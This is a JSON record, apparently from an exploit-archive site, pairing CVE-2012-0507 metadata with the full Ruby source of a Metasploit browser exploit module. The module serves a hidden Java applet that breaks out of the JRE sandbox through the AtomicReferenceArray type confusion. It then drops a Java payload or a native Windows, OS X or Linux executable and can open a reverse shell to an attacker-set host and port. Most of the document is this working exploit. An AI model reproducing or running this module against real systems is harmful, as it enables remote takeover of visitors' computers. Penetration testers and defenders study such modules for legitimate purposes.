{"exploit":{"id":"MSF-multi--browser--java_atomicreferencearray","name":"Java AtomicReferenceArray Type Violation Vulnerability","description":"This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.","cves":["CVE-2012-0507"],"author":"Jeroen Frijters, sinn3r, juan vazquez, egypt","published":"2012-02-14","platform":"Java,Linux,OSX,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_atomicreferencearray.rb","path":"modules/exploits/multi/browser/java_atomicreferencearray.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_atomicreferencearray.rb","vulnerabilities":[{"id":"CVE-2012-0507","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Concurrency. NOTE: the previous information was obtained from the February 2012 Oracle CPU. Oracle has not commented on claims from a downstream vendor and third party researchers that this issue occurs because the AtomicReferenceArray class implementation does not ensure that the array is of the Object[] type, which allows attackers to cause a denial of service (JVM crash) or bypass Java sandbox restrictions. NOTE: this issue was originally mapped to CVE-2011-3571, but that identifier was already assigned to a different issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-0507","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2012-0507"},"updatedAt":"2026-08-14T03:55:42.092Z","retrievedAt":"2026-11-26T11:42:49.128Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_atomicreferencearray.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_atomicreferencearray","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_atomicreferencearray/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_atomicreferencearray/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::EXE\n\n  include Msf::Exploit::Remote::BrowserAutopwn\n  autopwn_info({ javascript: false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',\n        'Description' => %q{\n          This module exploits a vulnerability due to the fact that\n          AtomicReferenceArray uses the Unsafe class to store a reference in an\n          array directly, which may violate type safety if not used properly.\n          This allows a way to escape the JRE sandbox, and load additional classes\n          in order to perform malicious operations.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Jeroen Frijters', # Initial discovery according to his blog\n          'sinn3r',          # metasploit module\n          'juan vazquez',    # metasploit module\n          'egypt'            # added support for older java versions\n        ],\n        'References' => [\n          ['CVE', '2012-0507'],\n          ['OSVDB', '80724'],\n          ['BID', '52161'],\n          ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],\n          ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],\n          ['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],\n          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],\n          ['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Platform' => ['java'],\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows x86 (Native Payload)',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Mac OS X PPC (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC\n            }\n          ],\n          [\n            'Mac OS X x86 (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Linux x86 (Native Payload)',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2012-02-14',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def exploit\n    # load the static jar file\n    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-0507.jar')\n    fd = File.open(path, 'rb')\n    @jar_data = fd.read(fd.stat.size)\n    fd.close\n\n    super\n  end\n\n  def on_request_uri(cli, request)\n    data = ''\n    host = ''\n    port = ''\n\n    if !request.uri.match(/\\.jar$/i)\n      if !request.uri.match(%r{/$})\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      print_status(\"Sending #{name}\")\n\n      payload = regenerate_payload(cli)\n      if !payload\n        print_error('Failed to generate the payload.')\n        return\n      end\n\n      if target.name == 'Generic (Java Payload)'\n        if datastore['LHOST']\n          jar = payload.encoded\n          host = datastore['LHOST']\n          port = datastore['LPORT']\n          vprint_status('Sending java reverse shell')\n        else\n          port = datastore['LPORT']\n          host = cli.peerhost\n          vprint_status('Java bind shell')\n        end\n        if jar\n          print_status(\"Generated jar to drop (#{jar.length} bytes).\")\n          jar = Rex::Text.to_hex(jar, '')\n        else\n          print_error('Failed to generate the executable.')\n          return\n        end\n      else\n\n        # NOTE: The EXE mixin automagically handles detection of arch/platform\n        data = generate_payload_exe\n\n        print_status(\"Generated executable to drop (#{data.length} bytes).\")\n        data = Rex::Text.to_hex(data, '')\n\n      end\n\n      send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    print_status('Sending jar')\n    send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })\n\n    handler(cli)\n  end\n\n  def generate_html(data, jar, host, port)\n    jar_name = rand_text_alpha(rand(3..8)) + '.jar'\n\n    html = '<html><head></head>'\n    html += '<body>'\n    html += \"<applet archive=\\\"#{jar_name}\\\" code=\\\"msf.x.Exploit.class\\\" width=\\\"1\\\" height=\\\"1\\\">\"\n    html += \"<param name=\\\"data\\\" value=\\\"#{data}\\\"/>\" if data\n    html += \"<param name=\\\"jar\\\" value=\\\"#{jar}\\\"/>\" if jar\n    html += \"<param name=\\\"lhost\\\" value=\\\"#{host}\\\"/>\" if host\n    html += \"<param name=\\\"lport\\\" value=\\\"#{port}\\\"/>\" if port\n    html += '</applet></body></html>'\n    return html\n  end\n\n  def generate_jar\n    return @jar_data\n  end\nend\n","sha256":"24913caebf779e6c2fb193b00588b3ebe91e88fcb5dfa3a360c107355ace1d50","bytes":5433,"fetchedAt":"2026-11-26T11:42:49.017Z","encoding":"utf-8 (display only; download retains original bytes)"}